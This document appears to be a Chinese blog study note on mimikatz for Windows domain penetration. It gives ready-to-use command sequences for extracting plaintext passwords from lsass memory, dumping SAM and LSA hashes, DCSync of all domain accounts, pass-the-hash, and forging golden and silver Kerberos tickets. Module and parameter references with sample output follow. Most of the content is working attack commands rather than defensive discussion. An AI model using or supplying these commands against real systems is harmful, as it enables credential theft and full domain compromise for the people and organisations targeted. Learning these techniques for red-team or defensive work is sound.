mimikatz非常出名,在域渗透中也用得很多,这里来系统学习一下。
常用操作 从lsass的内存中提取明文密码
1 "log" "privilege::debug" "sekurlsa::logonpasswords" "exit"
dump SAM数据库
1 2 3 4 5 6 7 8 9 # 在线,可以使用token::whoami 来模拟系统令牌 "privilege::debug" "token::elevate" "lsadump::sam" "exit" # 离线 # 先备份SYSTEM和SAM数据库 reg save HKLM\SYSTEM SystemBkup.hiv reg save HKLM\SAM SamBkup.hiv "lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv" "exit"
查看ntds.dit与sam文件的信息,如果没有查看ntds.dit的就只查看sam
1 "privilege::debug" "lsadump::lsa /patch" "exit"
dcsync同步域控账户数据
1 2 3 4 5 # 列出指定用户的密码信息 "lsadump::dcsync /domain:hackme.com /user:administrator" "exit" # 列出所有用户的账户密码 "lsadump::dcsync /domain:hackme.com /all /csv" "exit"
哈希传递
1 "sekurlsa::pth /user:Administrateur /domain:hackme.com /ntlm:cc36cf7a8514893efccd332446158b1a"
制作黄金票据并导入
1 2 3 4 5 6 # 需要以下信息:域名、域sid、krbtgt哈希值,伪造的用户 whoami /user # 获取域的sid值(去掉最后的-500,500表示为administrator用户) net config workstation # 查看所处域 # 利用mimikatz生成黄金票据,并导入 "kerberos::purge" "kerberos::golden /user:Administrator /domain:hackme.com /sid:S-1-5-21-352500431-3709684021-2404362605 /krbtgt:46ff2921e1cbc03aa37acf91b8afe9df /ticket:golden.kirbi" "kerberos::ptt golden.kirbi"
制作白银票据并导入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 所需条件:域名、域sid、目标服务器名、可利用的服务、服务账号的NTML HASH 、需要伪造的用户名 # 伪造共享文件夹服务(cifs)权限 kerberos::golden /domain:hackme.com /sid:S-1-5-21-3819194653-65834573-1010597107 /target:dc.hackme.com /service:cifs /rc4:a678800c3444a2fdb1ef68e2c5b208bf /user:administrator /ptt # 访问共享文件服务 dir \\dc\c$ # 伪造LDAP服务权限 如果已经获取DC机器账户的哈希值,便可以使用银票访问其LDAP服务,执行mimikatz的DCSync,以获取krbtgt用户的hash,进而制作黄金票据 # 制作票据并导入 kerberos::golden /domain:hackme.com /sid:S-1-5-21-3819194653-65834573-1010597107 /target:dc.hackme.com /service:ldap /rc4:a678800c3444a2fdb1ef68e2c5b208bf /user:administrator /ptt # 执行dcsync lsadump::dcsync /domain:hackme.com /user:krbtgt
mimikatz的各个模块 mimikatz分为以下模块:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 standard # mimikatz的主要模块,它包含使用该工具进行操作的快速命令。 # Commands: exit, cls, answer, coffe, sleep, log, base64, version, cd privilege # 提供了一些命令来操作 mimikatz 进程的权限 # Commands: debug crypto # 加密相关模块 # Commands: providers, stores, sc, scauth, certificates, keys, capi, cng sekurlsa # 该模块从lsass的内存中提取密码,密钥,密码,票证 # Commands: logonpasswords, pth, tickets, ekeys, dpapi, minidump, process, searchpasswords # msv, wdigest, kerberos, tspkg, livessp, ssp, credman kerberos # kerberos票据相关 # Commands: ptt, golden / silver, list, tgt, purge lsadump # 用于与Windows本地安全验证(Windows Local Security Authority, LSA)进程进行交互来提取凭证数据 # Commands: sam, secrets, cache, lsa, trust, backupkeys, rpdata, dcsync, netsync vault # Windows证书模块 # Commands: list, cred token # 令牌操作模块 # Commands: whoami, list, elevate, revert event # 事件模块 # Commands: drop, clear ts # 终端服务器模块 # Commands: multirdp process # 进程相关模 # Commands: list, exports, imports, start, stop, suspend, resume service # 服务相关模块 # Commands: start, remove, stop, suspend, resume, preshutdown, shutdown, list net # # Commands: user, localgroup, group misc # 杂项模块 # Commands: cmd, regedit, taskmgr, ncroutemon, detours, wifi, addsid, memssp, skeleton
常使用模块 standard 这是mimikatz的主要模块,它包含使用该工具进行操作的快速命令。对于standard模块,不需要用模块名称作为命令的前缀,例如:exit
与standard::exit
相同。
Commands: exit, cls, answer, coffe, sleep, log, base64, version, cd
**log
**:将所有输出记录到文件(默认情况下为mimikatz.log
)
参数:
filename
- 可选,指定日志文件
/stop
- 可选,停止日志
1 2 3 4 5 6 7 8 mimikatz # log Using 'mimikatz.log' for logfile : OK mimikatz # log other.log Using 'other.log' for logfile : OK mimikatz # log /stop Using '(null)' for logfile : OK
**base64
**:对写入磁盘上的文件,形式切换为Base64
**cd
**:更改或显示当前目录
1 2 3 4 5 6 mimikatz # cd C:\security\mimikatz\mimikatz mimikatz # cd x:\vm Old: C:\security\mimikatz\mimikatz New: x:\vm
privilege **debug
**:请求 mimikatz 进程的调试权限。调试权限允许用户调试他们原本无法访问的进程。
1 2 mimikatz # privilege::debug Privilege '20' OK
sekurlsa 该模块从lsass的内存中提取密码,密钥,密码,票证
Commands: logonpasswords, pth, tickets, ekeys, dpapi, minidump, process, searchpasswords, msv, wdigest, kerberos, tspkg, livessp, ssp, credman
在使用lsass进程时,mimikatz需要特定的权限:
Administrator用户,可以通过privilege::debug
获取debug权限
SYSTEM账户,此时可以不需要debug权限
**logonpasswords
**:获登录用户信息及密码
**pth
**:哈希传递 mimikatz 可以执行“传递哈希”,使用用户密码的 NTLM 哈希运行进程。
1 2 3 4 5 6 7 # 参数 /user # 要模拟的用户名。 /domain # 完全限定的域名。没有域,或者对于本地用户/管理员,请使用计算机或服务器名称. /rc4 or /ntlm # 可选 - 密码的RC4值/NTLM hash. /aes128 # 可选,the AES128 key derived from the user's password and the realm of the domain. /aes256 # 可选,the AES256 key derived from the user's password and the realm of the domain. /run # 可选,要运行的命令行,默认值为:cmd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a user : Administrateur domain : chocolate.local program : cmd.exe NTLM : cc36cf7a8514893efccd332446158b1a | PID 712 | TID 300 | LUID 0 ; 362544 (00000000:00058830) \_ msv1_0 - data copy @ 000F8AF4 : OK ! \_ kerberos - data copy @ 000E23B8 \_ rc4_hmac_nt OK \_ rc4_hmac_old OK \_ rc4_md4 OK \_ des_cbc_md5 -> null \_ des_cbc_crc -> null \_ rc4_hmac_nt_exp OK \_ rc4_hmac_old_exp OK \_ *Password replace -> null
注意: 需要提升权限(privilege::debug
或SYSTEM帐户)
**tickets
**:列出并导出所有会话的 Kerberos 票据。
与kerberos::list
不同,sekurlsa
使用内存读取,不受密钥导出限制。sekurlsa
可以访问其他会话(用户)的票据。
1 2 # 参数 /export # 可选,将票据导出到.kirbi文件中,They start with user's LUID and group number (0 = TGS, 1 = client ticket(?) and 2 = TGT)
**ekeys
**:显示 Kerberos 加密密钥。 **dpapi
**:显示内存中的 MasterKeys
**minidump
**:读取已经dump的内存信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 mimikatz # sekurlsa::minidump lsass.dmp Switch to MINIDUMP : 'lsass.dmp' mimikatz # sekurlsa::logonpasswords Opening : 'lsass.dmp' file for minidump... Authentication Id : 0 ; 88038 (00000000:000157e6) Session : Interactive from 1 User Name : Gentil Kiwi Domain : vm-w7-ult SID : S-1-5-21-2044528444-627255920-3055224092-1000 msv : [00000003] Primary * Username : Gentil Kiwi * Domain : vm-w7-ult * LM : d0e9aee149655a6075e4540af1f22d3b * NTLM : cc36cf7a8514893efccd332446158b1a * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30 ...
kerberos kerberos模块无需任何权限即可使用,它使用官方的Microsoft Kerberos API。
Commands: ptt, golden/silver, list, tgt, purge
**ptt
**:票据传递,在当前会话中注入一个或多个 Kerberos 票据
1 2 3 # 参数 filename # 票据文件名,可以是多个 diretory # 票据所在文件夹,该文件夹下所有的 .kirbi 文件都会被注入
**golden/silver
**:为任何用户/用户组创建 Kerberos 票证、TGT 或具有任意数据的 TGS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 # 参数 # /domain # 完全限定的域名 (eg: chocolate.local). /sid # 域名的SID (eg: S-1-5-21-130452501-2365100805-3685010670). /user # 要模拟的用户名. /id # 可选,the id of the user,default is: 500 for the well-known Administrator. /groups # 可选,id of groups the user belongs (first is primary group, comma separator) - default is: 513,512,520,518,519 for the well-known Administrator's groups. # # 对于黄金票据,需要krbtgt账户的hash ; # 对于白银票据, 需要机器账户或者服务账户的票据("computer account" or "service account" ) /rc4 or /krbtgt # the NTLM hash /aes128 # the AES128 key /aes256 #the AES256 key‘ # /target # the server/computer name where the service is hosted (ex: share.server.local, sql.server.local:1433, ...) /service # The service name for the ticket (ex: cifs, rpcss, http, mssql, ...) # /ticket # optional - filename for output the ticket - default is: ticket.kirbi. /ptt # no output in file, just inject the golden ticket in current session.
1 2 3 4 5 # 生成黄金票据 kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:utilisateur.chocolate.kirbi # 生成白银票据并导入 kerberos::golden /domain:hackme.com /sid:S-1-5-21-3819194653-65834573-1010597107 /target:dc.hackme.com /service:cifs /rc4:a678800c3444a2fdb1ef68e2c5b208bf /user:administrator /ptt
**tgt
**:显示有关当前会话的 TGT 的信息
**list
**:列出并导出当前会话的 Kerberos 票据(TGT 和 TGS)
1 2 # 参数: /export # 可选,将所有票证导出到文件
**purge
**:清除当前会话的所有票证
lsadump lsadump 模块用于与 Windows 本地安全验证(Windows Local Security Authority )(LSA) 进程进行交互来提取凭证数据。这个模块的大多数命令都需要 Debug 权限或者是 SYSTEM 权限。
Commands: sam, secrets, cache, lsa, trust, backupkeys, rpdata, dcsync, netsync
**sam
**:dump SAM数据库,它包含用户密码的 NTLM。
它可以在两种模式下工作:
在线,使用SYSTEM用户或令牌
离线,使用系统和SAM配置单元或备份
1 2 3 4 5 6 7 8 9 10 11 # 在线,可以使用token::whoami 来模拟系统令牌 privilege::debug token::elevate lsadump::sam # 离线 # 先备份SYSTEM和SAM数据库 reg save HKLM\SYSTEM SystemBkup.hiv reg save HKLM\SAM SamBkup.hiv lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv
**lsa
**:通过询问LSA服务器从内存中提取哈希
1 2 3 4 5 # 参数: /inject # 可选,注入 LSASS 进程提取凭证数据 /name # 可选,目标用户账户的帐户名称 /id # 可选,目标用户账户的 RID /patch # 可选,补丁 LSASS 进程
**dcsync
**:向 DC 发起同步一个对象(获取帐户的密码数据)的质询。
运行 DCSync 所要求的特殊权限有管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器计算机帐户的任何成员。需要注意的是只读域控制器默认是不允许读取用户密码数据的。
1 2 3 4 5 6 # 参数: /all # 获取所有用户 /user # 要拉取数据的用户 /domain # 可选,Active Directory域的全限定域名,Mimikatz会发现域中的一个DC并去连接。如果不提供该参数,Mimikatz会默认设置为当前域。 /dc # 可选,指定你想要使用DCSync连接并收集数据的域控制器。 /csv # 可选,以格式化形式显示
token Token 模块能够与 Windows 身份验证令牌进行交互,包括抓取,伪造假冒的已存在的令牌
Commands: whoami, list, elevate, revert
**whoami
**:显示当前身份elevate
:假冒令牌。用于提升权限至 SYSTEM 权限(默认)或者使用 Windows API 找到域管理员令牌
process process 模块提供了收集进程的数据和与进程进行交互的功能
Commands: list, exports, imports, start, stop, suspend, resume
ts 终端服务器模块
**sessions
**:显示当前对话 **multirdp
**:允许多个用户使用rdp